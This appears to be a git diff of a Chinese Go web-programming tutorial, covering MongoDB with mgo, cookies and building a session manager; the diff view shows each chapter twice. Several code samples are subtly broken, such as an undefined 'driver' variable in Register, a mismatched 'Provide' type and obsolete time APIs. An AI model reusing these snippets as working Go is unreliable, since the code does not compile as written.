下图展示了mysql和mongoDB之间的对应关系我们可以看出来非常的方便但是mongoDB的性能非常好。
![](images/5.6.mongodb.png?raw=true)
图5.1 MongoDB和Mysql的操作对比图
目前Go支持mongoDB最好的驱动就是[mgo](http://labix.org/mgo)这个驱动目前最有可能成为官方的pkg。
下面我将演示如何通过Go来操作mongoDB
package main
import (
"fmt"
"labix.org/v2/mgo"
"labix.org/v2/mgo/bson"
)
type Person struct {
Name string
Phone string
}
func main() {
session, err := mgo.Dial("server1.example.com,server2.example.com")
if err != nil {
panic(err)
}
defer session.Close()
session.SetMode(mgo.Monotonic, true)
c := session.DB("test").C("people")
err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
&Person{"Cla", "+55 53 8402 8510"})
if err != nil {
panic(err)
}
result := Person{}
err = c.Find(bson.M{"name": "Ale"}).One(&result)
if err != nil {
panic(err)
}
fmt.Println("Phone:", result.Phone)
}
我们可以看出来mgo的操作方式和beedb的操作方式几乎类似都是基于strcut的操作方式这个就是Go Style。
## links
* [目录](<preface.md>)
* 上一节: [使用beedb库进行ORM开发](<05.5.md>)
* 下一节: [小结](<05.7.md>)

18
05.7.md → ebook/05.7.md Executable file → Normal file
View File

@@ -1,9 +1,9 @@
# 5.7 小结
这一章我们讲解了Go如何设计database/sql接口然后介绍了各种第三方关系型数据库驱动的使用。接着介绍了beedb一种基于关系型数据库的ORM库如何对数据库进行简单的操作。最后介绍了NOSQL的一些知识目前Go对于NOSQL支持还是不错因为Go作为21世纪的C语言那么对于21世纪的数据库也是支持的相当好。
通过这一章的学习我们学会了如何操作各种数据库那么就解决了我们数据存储的问题这是Web里面最重要的一部分所以希望大家能够深入的去了解database/sql的设计思想。
## links
* [目录](<preface.md>)
* 上一节: [NOSQL数据库操作](<05.6.md>)
* 下一章: [session和数据存储](<06.0.md>)
# 5.7 小结
这一章我们讲解了Go如何设计database/sql接口然后介绍了各种第三方关系型数据库驱动的使用。接着介绍了beedb一种基于关系型数据库的ORM库如何对数据库进行简单的操作。最后介绍了NOSQL的一些知识目前Go对于NOSQL支持还是不错因为Go作为21世纪的C语言那么对于21世纪的数据库也是支持的相当好。
通过这一章的学习我们学会了如何操作各种数据库那么就解决了我们数据存储的问题这是Web里面最重要的一部分所以希望大家能够深入的去了解database/sql的设计思想。
## links
* [目录](<preface.md>)
* 上一节: [NOSQL数据库操作](<05.6.md>)
* 下一章: [session和数据存储](<06.0.md>)

24
06.0.md → ebook/06.0.md Executable file → Normal file
View File

@@ -1,12 +1,12 @@
# 6 session和数据存储
Web开发中一个很重要的议题就是如何做好用户的整个浏览过程的控制因为HTTP协议是无状态的所以用户的每一次请求都是无状态的我们不知道在整个Web操作过程中哪些连接与该用户有关我们应该如何来解决这个问题呢Web里面经典的解决方案是cookie和sessioncookie机制是一种客户端机制把用户数据保存在客户端而session机制是一种服务器端的机制服务器使用一种类似于散列表的结构来保存信息每一个网站访客都会被分配给一个唯一的标志符,即sessionID,它的存放形式无非两种:要么经过url传递,要么保存在客户端的cookies里.当然,你也可以将Session保存到数据库里,这样会更安全,但效率方面会有所下降。
6.1小节里面讲介绍session机制和cookie机制的关系和区别6.2讲解Go语言如何来实现session里面讲实现一个简易的session管理器6.3小节讲解如何防止session被劫持的情况如何有效的保护session。我们知道session其实可以存储在任何地方6.3小节里面实现的session是存储在内存中的但是如果我们的应用进一步扩展了要实现应用的session共享那么我们可以把session存储在数据库中(memcache或者redis)6.4小节将详细的讲解如何实现这些功能。
## 目录
![](images/navi6.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第五章总结](<05.7.md>)
* 下一节: [session和cookie](<06.1.md>)
# 6 session和数据存储
Web开发中一个很重要的议题就是如何做好用户的整个浏览过程的控制因为HTTP协议是无状态的所以用户的每一次请求都是无状态的我们不知道在整个Web操作过程中哪些连接与该用户有关我们应该如何来解决这个问题呢Web里面经典的解决方案是cookie和sessioncookie机制是一种客户端机制把用户数据保存在客户端而session机制是一种服务器端的机制服务器使用一种类似于散列表的结构来保存信息每一个网站访客都会被分配给一个唯一的标志符,即sessionID,它的存放形式无非两种:要么经过url传递,要么保存在客户端的cookies里.当然,你也可以将Session保存到数据库里,这样会更安全,但效率方面会有所下降。
6.1小节里面讲介绍session机制和cookie机制的关系和区别6.2讲解Go语言如何来实现session里面讲实现一个简易的session管理器6.3小节讲解如何防止session被劫持的情况如何有效的保护session。我们知道session其实可以存储在任何地方6.3小节里面实现的session是存储在内存中的但是如果我们的应用进一步扩展了要实现应用的session共享那么我们可以把session存储在数据库中(memcache或者redis)6.4小节将详细的讲解如何实现这些功能。
## 目录
![](images/navi6.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第五章总结](<05.7.md>)
* 下一节: [session和cookie](<06.1.md>)

210
06.1.md → ebook/06.1.md Executable file → Normal file
View File

@@ -1,105 +1,105 @@
# 6.1 session和cookie
session和cookie是网站浏览中较为常见的两个概念也是比较难以辨析的两个概念但它们在浏览需要认证的服务页面以及页面统计中却相当关键。我们先来了解一下session和cookie怎么来的考虑这样一个问题
如何抓取一个访问受限的网页?如新浪微博好友的主页,个人微博页面等。
显然,通过浏览器,我们可以手动输入用户名和密码来访问页面,而所谓的“抓取”,其实就是使用程序来模拟完成同样的工作,因此我们需要了解“登陆”过程中到底发生了什么。
当用户来到微博登陆页面输入用户名和密码之后点击“登录”后浏览器将认证信息POST给远端的服务器服务器执行验证逻辑如果验证通过则浏览器会跳转到登录用户的微博首页在登录成功后服务器如何验证我们对其他受限制页面的访问呢因为HTTP协议是无状态的所以很显然服务器不可能知道我们已经在上一次的HTTP请求中通过了验证。当然最简单的解决方案就是所有的请求里面都带上用户名和密码这样虽然可行但大大加重了服务器的负担对于每个request都需要到数据库验证也大大降低了用户体验(每个页面都需要重新输入用户名密码,每个页面都带有登录表单)。既然直接在请求中带上用户名与密码不可行那么就只有在服务器或客户端保存一些类似的可以代表身份的信息了所以就有了cookie与session。
cookie简而言之就是在本地计算机保存一些用户操作的历史信息当然包括登录信息并在用户再次访问该站点时浏览器通过HTTP协议将本地cookie内容发送给服务器从而完成验证或继续上一步操作。
![](images/6.1.cookie2.png?raw=true)
图6.1 cookie的原理图
session简而言之就是在服务器上保存用户操作的历史信息。服务器使用session id来标识sessionsession id由服务器负责产生保证随机性与唯一性相当于一个随机密钥避免在握手或传输中暴露用户真实密码。但该方式下仍然需要将发送请求的客户端与session进行对应所以可以借助cookie机制来获取客户端的标识即session id也可以通过GET方式将id提交给服务器。
![](images/6.1.session.png?raw=true)
图6.2 session的原理图
## cookie
Cookie是由浏览器维持的存储在客户端的一小段文本信息伴随着用户请求和页面在Web服务器和浏览器之间传递。用户每次访问站点时Web应用程序都可以读取cookie包含的信息。浏览器设置里面有cookie隐私数据选项打开它可以看到很多已访问网站的cookies如下图所示
![](images/6.1.cookie.png?raw=true)
图6.3 浏览器端保存的cookie信息
cookie是有时间限制的根据生命期不同分成两种会话cookie和持久cookie
如果不设置过期时间则表示这个cookie生命周期为从创建到浏览器关闭止只要关闭浏览器窗口cookie就消失了。这种生命期为浏览会话期的cookie被称为会话cookie。会话cookie一般不保存在硬盘上而是保存在内存里。
如果设置了过期时间(setMaxAge(60*60*24))浏览器就会把cookie保存到硬盘上关闭后再次打开浏览器这些cookie依然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享比如两个IE窗口。而对于保存在内存的cookie不同的浏览器有不同的处理方式。
  
### Go设置cookie
Go语言中通过net/http包中的SetCookie来设置
http.SetCookie(w ResponseWriter, cookie *Cookie)
w表示需要写入的responsecookie是一个struct让我们来看一下cookie对象是怎么样的
type Cookie struct {
Name string
Value string
Path string
Domain string
Expires time.Time
RawExpires string
// MaxAge=0 means no 'Max-Age' attribute specified.
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
// MaxAge>0 means Max-Age attribute present and given in seconds
MaxAge int
Secure bool
HttpOnly bool
Raw string
Unparsed []string // Raw text of unparsed attribute-value pairs
}
我们来看一个例子如何设置cookie
expiration := *time.LocalTime()
expiration.Year += 1
cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
http.SetCookie(w, &cookie)
  
### Go读取cookie
上面的例子演示了如何设置cookie数据我们这里来演示一下如何读取cookie
cookie, _ := r.Cookie("username")
fmt.Fprint(w, cookie)
还有另外一种读取方式
for _, cookie := range r.Cookies() {
fmt.Fprint(w, cookie.Name)
}
可以看到通过request获取cookie非常方便。
## session
session中文经常翻译为会话其本来的含义是指有始有终的一系列动作/消息比如打电话是从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。然而当session一词与网络协议相关联时它又往往隐含了“面向连接”和/或“保持状态”这样两个含义。
session在Web开发环境下的语义又有了新的扩展它的含义是指一类用来在客户端与服务器端之间保持状态的解决方案。有时候Session也用来指这种解决方案的存储结构。
session机制是一种服务器端的机制服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存息。
但程序需要为某个客户端的请求创建一个session的时候服务器首先检查这个客户端的请求里是否包含了一个session标识称为session id如果已经包含一个session id则说明以前已经为此客户创建过session服务器就按照session id把这个session检索出来使用(如果检索不到可能会新建一个这种情况可能出现在服务端已经删除了该用户对应的session对象但用户人为地在请求的URL后面附加上一个JSESSION的参数)。如果客户请求不包含session id则为此客户创建一个session并且同时生成一个与此session相关联的session id这个session id将在本次响应中返回给客户端保存。
session机制本身并不复杂然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器服务器的经验当作普遍适用的。
## 小结
如上文所述session和cookie的目的相同都是为了克服http协议无状态的缺陷但完成的方法不同。session通过cookie在客户端保存session id而将用户的其他会话消息保存在服务端的session对象中与此相对的cookie需要将所有信息都保存在客户端。因此cookie存在着一定的安全隐患例如本地cookie中保存的用户名密码被破译或cookie被其他网站收集例如1. appA主动设置域B cookie让域B cookie获取2. XSS在appA上通过javascript获取document.cookie并传递给自己的appB
通过上面的一些简单介绍我们了解了cookie和session的一些基础知识知道他们之间的联系和区别做web开发之前有必要将一些必要知识了解清楚才不会在用到时捉襟见肘或是在调bug时候如无头苍蝇乱转。接下来的几小节我们将详细介绍session相关的知识。
## links
* [目录](<preface.md>)
* 上一节: [session和数据存储](<06.0.md>)
* 下一节: [Go如何使用session](<06.2.md>)
# 6.1 session和cookie
session和cookie是网站浏览中较为常见的两个概念也是比较难以辨析的两个概念但它们在浏览需要认证的服务页面以及页面统计中却相当关键。我们先来了解一下session和cookie怎么来的考虑这样一个问题
如何抓取一个访问受限的网页?如新浪微博好友的主页,个人微博页面等。
显然,通过浏览器,我们可以手动输入用户名和密码来访问页面,而所谓的“抓取”,其实就是使用程序来模拟完成同样的工作,因此我们需要了解“登陆”过程中到底发生了什么。
当用户来到微博登陆页面输入用户名和密码之后点击“登录”后浏览器将认证信息POST给远端的服务器服务器执行验证逻辑如果验证通过则浏览器会跳转到登录用户的微博首页在登录成功后服务器如何验证我们对其他受限制页面的访问呢因为HTTP协议是无状态的所以很显然服务器不可能知道我们已经在上一次的HTTP请求中通过了验证。当然最简单的解决方案就是所有的请求里面都带上用户名和密码这样虽然可行但大大加重了服务器的负担对于每个request都需要到数据库验证也大大降低了用户体验(每个页面都需要重新输入用户名密码,每个页面都带有登录表单)。既然直接在请求中带上用户名与密码不可行那么就只有在服务器或客户端保存一些类似的可以代表身份的信息了所以就有了cookie与session。
cookie简而言之就是在本地计算机保存一些用户操作的历史信息当然包括登录信息并在用户再次访问该站点时浏览器通过HTTP协议将本地cookie内容发送给服务器从而完成验证或继续上一步操作。
![](images/6.1.cookie2.png?raw=true)
图6.1 cookie的原理图
session简而言之就是在服务器上保存用户操作的历史信息。服务器使用session id来标识sessionsession id由服务器负责产生保证随机性与唯一性相当于一个随机密钥避免在握手或传输中暴露用户真实密码。但该方式下仍然需要将发送请求的客户端与session进行对应所以可以借助cookie机制来获取客户端的标识即session id也可以通过GET方式将id提交给服务器。
![](images/6.1.session.png?raw=true)
图6.2 session的原理图
## cookie
Cookie是由浏览器维持的存储在客户端的一小段文本信息伴随着用户请求和页面在Web服务器和浏览器之间传递。用户每次访问站点时Web应用程序都可以读取cookie包含的信息。浏览器设置里面有cookie隐私数据选项打开它可以看到很多已访问网站的cookies如下图所示
![](images/6.1.cookie.png?raw=true)
图6.3 浏览器端保存的cookie信息
cookie是有时间限制的根据生命期不同分成两种会话cookie和持久cookie
如果不设置过期时间则表示这个cookie生命周期为从创建到浏览器关闭止只要关闭浏览器窗口cookie就消失了。这种生命期为浏览会话期的cookie被称为会话cookie。会话cookie一般不保存在硬盘上而是保存在内存里。
如果设置了过期时间(setMaxAge(60*60*24))浏览器就会把cookie保存到硬盘上关闭后再次打开浏览器这些cookie依然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享比如两个IE窗口。而对于保存在内存的cookie不同的浏览器有不同的处理方式。
  
### Go设置cookie
Go语言中通过net/http包中的SetCookie来设置
http.SetCookie(w ResponseWriter, cookie *Cookie)
w表示需要写入的responsecookie是一个struct让我们来看一下cookie对象是怎么样的
type Cookie struct {
Name string
Value string
Path string
Domain string
Expires time.Time
RawExpires string
// MaxAge=0 means no 'Max-Age' attribute specified.
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
// MaxAge>0 means Max-Age attribute present and given in seconds
MaxAge int
Secure bool
HttpOnly bool
Raw string
Unparsed []string // Raw text of unparsed attribute-value pairs
}
我们来看一个例子如何设置cookie
expiration := *time.LocalTime()
expiration.Year += 1
cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
http.SetCookie(w, &cookie)
  
### Go读取cookie
上面的例子演示了如何设置cookie数据我们这里来演示一下如何读取cookie
cookie, _ := r.Cookie("username")
fmt.Fprint(w, cookie)
还有另外一种读取方式
for _, cookie := range r.Cookies() {
fmt.Fprint(w, cookie.Name)
}
可以看到通过request获取cookie非常方便。
## session
session中文经常翻译为会话其本来的含义是指有始有终的一系列动作/消息比如打电话是从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。然而当session一词与网络协议相关联时它又往往隐含了“面向连接”和/或“保持状态”这样两个含义。
session在Web开发环境下的语义又有了新的扩展它的含义是指一类用来在客户端与服务器端之间保持状态的解决方案。有时候Session也用来指这种解决方案的存储结构。
session机制是一种服务器端的机制服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存息。
但程序需要为某个客户端的请求创建一个session的时候服务器首先检查这个客户端的请求里是否包含了一个session标识称为session id如果已经包含一个session id则说明以前已经为此客户创建过session服务器就按照session id把这个session检索出来使用(如果检索不到可能会新建一个这种情况可能出现在服务端已经删除了该用户对应的session对象但用户人为地在请求的URL后面附加上一个JSESSION的参数)。如果客户请求不包含session id则为此客户创建一个session并且同时生成一个与此session相关联的session id这个session id将在本次响应中返回给客户端保存。
session机制本身并不复杂然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器服务器的经验当作普遍适用的。
## 小结
如上文所述session和cookie的目的相同都是为了克服http协议无状态的缺陷但完成的方法不同。session通过cookie在客户端保存session id而将用户的其他会话消息保存在服务端的session对象中与此相对的cookie需要将所有信息都保存在客户端。因此cookie存在着一定的安全隐患例如本地cookie中保存的用户名密码被破译或cookie被其他网站收集例如1. appA主动设置域B cookie让域B cookie获取2. XSS在appA上通过javascript获取document.cookie并传递给自己的appB
通过上面的一些简单介绍我们了解了cookie和session的一些基础知识知道他们之间的联系和区别做web开发之前有必要将一些必要知识了解清楚才不会在用到时捉襟见肘或是在调bug时候如无头苍蝇乱转。接下来的几小节我们将详细介绍session相关的知识。
## links
* [目录](<preface.md>)
* 上一节: [session和数据存储](<06.0.md>)
* 下一节: [Go如何使用session](<06.2.md>)

430
06.2.md → ebook/06.2.md Executable file → Normal file
View File

@@ -1,215 +1,215 @@
# 6.2 Go如何使用session
通过上一小节的介绍我们知道session是在服务器端实现的一种用户和服务器之间认证的解决方案目前Go标准包没有为session提供任何支持这小节我们将会自己动手来实现go版本的session管理和创建。
## session创建过程
session的基本原理是由服务器为每个会话维护一份信息数据客户端和服务端依靠一个全局唯一的标识来访问这份数据以达到交互的目的。当用户访问Web应用时服务端程序会随需要创建session这个过程可以概括为三个步骤
- 生成全局唯一标识符sessionid
- 开辟数据存储空间。一般会在内存中创建相应的数据结构但这种情况下系统一旦掉电所有的会话数据就会丢失如果是电子商务类网站这将造成严重的后果。所以为了解决这类问题你可以将会话数据写到文件里或存储在数据库中当然这样会增加I/O开销但是它可以实现某种程度的session持久化也更有利于session的共享
- 将session的全局唯一标示符发送给客户端。
以上三个步骤中最关键的是如何发送这个session的唯一标识这一步上。考虑到HTTP协议的定义数据无非可以放到请求行、头域或Body里所以一般来说会有两种常用的方式cookie和URL重写。
1. Cookie
服务端通过设置Set-cookie头就可以将session的标识符传送到客户端而客户端此后的每一次请求都会带上这个标识符另外一般包含session信息的cookie会将失效时间设置为0(会话cookie)即浏览器进程有效时间。至于浏览器怎么处理这个0每个浏览器都有自己的方案但差别都不会太大(一般体现在新建浏览器窗口的时候)
2. URL重写
所谓URL重写就是在返回给用户的页面里的所有的URL后面追加session标识符这样用户在收到响应之后无论点击响应页面里的哪个链接或提交表单都会自动带上session标识符从而就实现了会话的保持。虽然这种做法比较麻烦但是如果客户端禁用了cookie的话此种方案将会是首选。
## Go实现session管理
通过上面session创建过程的讲解读者应该对session有了一个大体的认识但是具体到动态页面技术里面又是怎么实现session的呢下面我们将结合session的生命周期lifecycle来实现go语言版本的session管理。
### session管理设计
我们知道session管理涉及到如下几个因素
- 全局session管理器
- 保证sessionid 的全局唯一性
- 为每个客户关联一个session
- session 的存储(可以存储到内存、文件、数据库等)
- session 过期处理
接下来我将讲解一下我关于session管理的整个设计思路以及相应的go代码示例
### Session管理器
定义一个全局的session管理器
type Manager struct {
cookieName string //private cookiename
lock sync.Mutex // protects session
provider Provider
maxlifetime int64
}
func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {
provider, ok := provides[provideName]
if !ok {
return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
}
return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
}
Go实现整个的流程应该也是这样的在main包中创建一个全局的session管理器
var globalSessions *session.Manager
//然后在init函数中初始化
func init() {
globalSessions = NewManager("memory","gosessionid",3600)
}
我们知道session是保存在服务器端的数据它可以以任何的方式存储比如存储在内存、数据库或者文件中。因此我们抽象出一个Provider接口用以表征session管理器底层存储结构。
type Provider interface {
SessionInit(sid string) (Session, error)
SessionRead(sid string) (Session, error)
SessionDestroy(sid string) error
SessionGC(maxLifeTime int64)
}
- SessionInit函数实现Session的初始化操作成功则返回此新的Session变量
- SSessionRead函数返回sid所代表的Session变量如果不存在那么将以sid为参数调用SessionInit函数创建并返回一个新的Session变量
- SessionDestroy函数用来销毁sid对应的Session变量
- SessionGC根据maxLifeTime来删除过期的数据
那么Session接口需要实现什么样的功能呢有过Web开发经验的读者知道对Session的处理基本就 设置值、读取值、删除值以及获取当前sessionID这四个操作所以我们的Session接口也就实现这四个操作。
type Session interface {
Set(key, value interface{}) error //set session value
Get(key interface{}) interface{} //get session value
Delete(key interface{}) error //delete session value
SessionID() string //back current sessionID
}
>以上设计思路来源于database/sql/driver先定义好接口然后具体的存储session的结构实现相应的接口并注册后相应功能这样就可以使用了以下是用来随需注册存储session的结构的Register函数的实现。
var provides = make(map[string]Provide)
// Register makes a session provide available by the provided name.
// If Register is called twice with the same name or if driver is nil,
// it panics.
func Register(name string, provide Provide) {
if driver == nil {
panic("session: Register provide is nil")
}
if _, dup := provides[name]; dup {
panic("session: Register called twice for provide " + name)
}
provides[name] = provide
}
### 全局唯一的Session ID
Session ID是用来识别访问Web应用的每一个用户因此必须保证它是全局唯一的GUID下面代码展示了如何满足这一需求
func (manager *Manager) sessionId() string {
b := make([]byte, 32)
if _, err := io.ReadFull(rand.Reader, b); err != nil {
return ""
}
return base64.URLEncoding.EncodeToString(b)
}
### session创建
我们需要为每个来访用户分配或获取与他相关连的Session以便后面根据Session信息来验证操作。SessionStart这个函数就是用来检测是否已经有某个Session与当前来访用户发生了关联如果没有则创建之。
func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
manager.lock.Lock()
defer manager.lock.Unlock()
cookie, err := r.Cookie(manager.cookieName)
if err != nil || cookie.Value == "" {
sid := manager.sessionId()
session, _ = manager.provider.SessionInit(sid)
cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)}
http.SetCookie(w, &cookie)
} else {
sid, _ := url.QueryUnescape(cookie.Value)
session, _ = manager.provider.SessionRead(sid)
}
return
}
我们用前面login操作来演示session的运用
func login(w http.ResponseWriter, r *http.Request) {
sess := globalSessions.SessionStart(w, r)
r.ParseForm()
if r.Method == "GET" {
t, _ := template.ParseFiles("login.gtpl")
w.Header().Set("Content-Type", "text/html")
t.Execute(w, sess.Get("username"))
} else {
sess.Set("username", r.Form["username"])
http.Redirect(w, r, "/", 302)
}
}
### 操作值:设置、读取和删除
SessionStart函数返回的是一个满足Session接口的变量那么我们该如何用他来对session数据进行操作呢
上面的例子中的代码`session.Get("uid")`已经展示了基本的读取数据的操作,现在我们再来看一下详细的操作:
func count(w http.ResponseWriter, r *http.Request) {
sess := globalSessions.SessionStart(w, r)
createtime := sess.Get("createtime")
if createtime == nil {
sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 360) < (time.Now().Unix()) {
globalSessions.SessionDestroy(w, r)
sess = globalSessions.SessionStart(w, r)
}
ct := sess.Get("countnum")
if ct == nil {
sess.Set("countnum", 1)
} else {
sess.Set("countnum", (ct.(int) + 1))
}
t, _ := template.ParseFiles("count.gtpl")
w.Header().Set("Content-Type", "text/html")
t.Execute(w, sess.Get("countnum"))
}
通过上面的例子可以看到Session的操作和操作key/value数据库类似:Set、Get、Delete等操作
因为Session有过期的概念所以我们定义了GC操作当访问过期时间满足GC的触发条件后将会引起GC但是当我们进行了任意一个session操作都会对Session实体进行更新都会触发对最后访问时间的修改这样当GC的时候就不会误删除还在使用的Session实体。
### session重置
我们知道Web应用中有用户退出这个操作那么当用户退出应用的时候我们需要对该用户的session数据进行销毁操作上面的代码已经演示了如何使用session重置操作下面这个函数就是实现了这个功能
//Destroy sessionid
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
cookie, err := r.Cookie(manager.cookieName)
if err != nil || cookie.Value == "" {
return
} else {
manager.lock.Lock()
defer manager.lock.Unlock()
manager.provider.SessionDestroy(cookie.Value)
expiration := time.Now()
cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1}
http.SetCookie(w, &cookie)
}
}
### session销毁
我们来看一下Session管理器如何来管理销毁,只要我们在Main启动的时候启动
func init() {
go globalSessions.GC()
}
func (manager *Manager) GC() {
manager.lock.Lock()
defer manager.lock.Unlock()
manager.provider.SessionGC(manager.maxlifetime)
time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
}
我们可以看到GC充分利用了time包中的定时器功能当超时`maxLifeTime`之后调用GC函数这样就可以保证`maxLifeTime`时间内的session都是可用的类似的方案也可以用于统计在线用户数之类的。
## 总结
至此 我们实现了一个用来在Web应用中全局管理Session的SessionManager定义了用来提供Session存储实现Provider的接口,下一小节我们将会通过接口定义来实现一些Provider,供大家参考学习。
## links
* [目录](<preface.md>)
* 上一节: [session和cookie](<06.1.md>)
* 下一节: [session存储](<06.3.md>)
# 6.2 Go如何使用session
通过上一小节的介绍我们知道session是在服务器端实现的一种用户和服务器之间认证的解决方案目前Go标准包没有为session提供任何支持这小节我们将会自己动手来实现go版本的session管理和创建。
## session创建过程
session的基本原理是由服务器为每个会话维护一份信息数据客户端和服务端依靠一个全局唯一的标识来访问这份数据以达到交互的目的。当用户访问Web应用时服务端程序会随需要创建session这个过程可以概括为三个步骤
- 生成全局唯一标识符sessionid
- 开辟数据存储空间。一般会在内存中创建相应的数据结构但这种情况下系统一旦掉电所有的会话数据就会丢失如果是电子商务类网站这将造成严重的后果。所以为了解决这类问题你可以将会话数据写到文件里或存储在数据库中当然这样会增加I/O开销但是它可以实现某种程度的session持久化也更有利于session的共享
- 将session的全局唯一标示符发送给客户端。
以上三个步骤中最关键的是如何发送这个session的唯一标识这一步上。考虑到HTTP协议的定义数据无非可以放到请求行、头域或Body里所以一般来说会有两种常用的方式cookie和URL重写。
1. Cookie
服务端通过设置Set-cookie头就可以将session的标识符传送到客户端而客户端此后的每一次请求都会带上这个标识符另外一般包含session信息的cookie会将失效时间设置为0(会话cookie)即浏览器进程有效时间。至于浏览器怎么处理这个0每个浏览器都有自己的方案但差别都不会太大(一般体现在新建浏览器窗口的时候)
2. URL重写
所谓URL重写就是在返回给用户的页面里的所有的URL后面追加session标识符这样用户在收到响应之后无论点击响应页面里的哪个链接或提交表单都会自动带上session标识符从而就实现了会话的保持。虽然这种做法比较麻烦但是如果客户端禁用了cookie的话此种方案将会是首选。
## Go实现session管理
通过上面session创建过程的讲解读者应该对session有了一个大体的认识但是具体到动态页面技术里面又是怎么实现session的呢下面我们将结合session的生命周期lifecycle来实现go语言版本的session管理。
### session管理设计
我们知道session管理涉及到如下几个因素
- 全局session管理器
- 保证sessionid 的全局唯一性
- 为每个客户关联一个session
- session 的存储(可以存储到内存、文件、数据库等)
- session 过期处理
接下来我将讲解一下我关于session管理的整个设计思路以及相应的go代码示例
### Session管理器
定义一个全局的session管理器
type Manager struct {
cookieName string //private cookiename
lock sync.Mutex // protects session
provider Provider
maxlifetime int64
}
func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {
provider, ok := provides[provideName]
if !ok {
return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
}
return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
}
Go实现整个的流程应该也是这样的在main包中创建一个全局的session管理器
var globalSessions *session.Manager
//然后在init函数中初始化
func init() {
globalSessions = NewManager("memory","gosessionid",3600)
}
我们知道session是保存在服务器端的数据它可以以任何的方式存储比如存储在内存、数据库或者文件中。因此我们抽象出一个Provider接口用以表征session管理器底层存储结构。
type Provider interface {
SessionInit(sid string) (Session, error)
SessionRead(sid string) (Session, error)
SessionDestroy(sid string) error
SessionGC(maxLifeTime int64)
}
- SessionInit函数实现Session的初始化操作成功则返回此新的Session变量
- SSessionRead函数返回sid所代表的Session变量如果不存在那么将以sid为参数调用SessionInit函数创建并返回一个新的Session变量
- SessionDestroy函数用来销毁sid对应的Session变量
- SessionGC根据maxLifeTime来删除过期的数据
那么Session接口需要实现什么样的功能呢有过Web开发经验的读者知道对Session的处理基本就 设置值、读取值、删除值以及获取当前sessionID这四个操作所以我们的Session接口也就实现这四个操作。
type Session interface {
Set(key, value interface{}) error //set session value
Get(key interface{}) interface{} //get session value
Delete(key interface{}) error //delete session value
SessionID() string //back current sessionID
}
>以上设计思路来源于database/sql/driver先定义好接口然后具体的存储session的结构实现相应的接口并注册后相应功能这样就可以使用了以下是用来随需注册存储session的结构的Register函数的实现。
var provides = make(map[string]Provide)
// Register makes a session provide available by the provided name.
// If Register is called twice with the same name or if driver is nil,
// it panics.
func Register(name string, provide Provide) {
if driver == nil {
panic("session: Register provide is nil")
}
if _, dup := provides[name]; dup {
panic("session: Register called twice for provide " + name)
}
provides[name] = provide
}
### 全局唯一的Session ID
Session ID是用来识别访问Web应用的每一个用户因此必须保证它是全局唯一的GUID下面代码展示了如何满足这一需求
func (manager *Manager) sessionId() string {
b := make([]byte, 32)
if _, err := io.ReadFull(rand.Reader, b); err != nil {
return ""
}
return base64.URLEncoding.EncodeToString(b)
}
### session创建
我们需要为每个来访用户分配或获取与他相关连的Session以便后面根据Session信息来验证操作。SessionStart这个函数就是用来检测是否已经有某个Session与当前来访用户发生了关联如果没有则创建之。
func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
manager.lock.Lock()
defer manager.lock.Unlock()
cookie, err := r.Cookie(manager.cookieName)
if err != nil || cookie.Value == "" {
sid := manager.sessionId()
session, _ = manager.provider.SessionInit(sid)
cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)}
http.SetCookie(w, &cookie)
} else {
sid, _ := url.QueryUnescape(cookie.Value)
session, _ = manager.provider.SessionRead(sid)
}
return
}
我们用前面login操作来演示session的运用
func login(w http.ResponseWriter, r *http.Request) {
sess := globalSessions.SessionStart(w, r)
r.ParseForm()
if r.Method == "GET" {
t, _ := template.ParseFiles("login.gtpl")
w.Header().Set("Content-Type", "text/html")
t.Execute(w, sess.Get("username"))
} else {
sess.Set("username", r.Form["username"])
http.Redirect(w, r, "/", 302)
}
}
### 操作值:设置、读取和删除
SessionStart函数返回的是一个满足Session接口的变量那么我们该如何用他来对session数据进行操作呢
上面的例子中的代码`session.Get("uid")`已经展示了基本的读取数据的操作,现在我们再来看一下详细的操作:
func count(w http.ResponseWriter, r *http.Request) {
sess := globalSessions.SessionStart(w, r)
createtime := sess.Get("createtime")
if createtime == nil {
sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 360) < (time.Now().Unix()) {
globalSessions.SessionDestroy(w, r)
sess = globalSessions.SessionStart(w, r)
}
ct := sess.Get("countnum")
if ct == nil {
sess.Set("countnum", 1)
} else {
sess.Set("countnum", (ct.(int) + 1))
}
t, _ := template.ParseFiles("count.gtpl")
w.Header().Set("Content-Type", "text/html")
t.Execute(w, sess.Get("countnum"))
}
通过上面的例子可以看到Session的操作和操作key/value数据库类似:Set、Get、Delete等操作
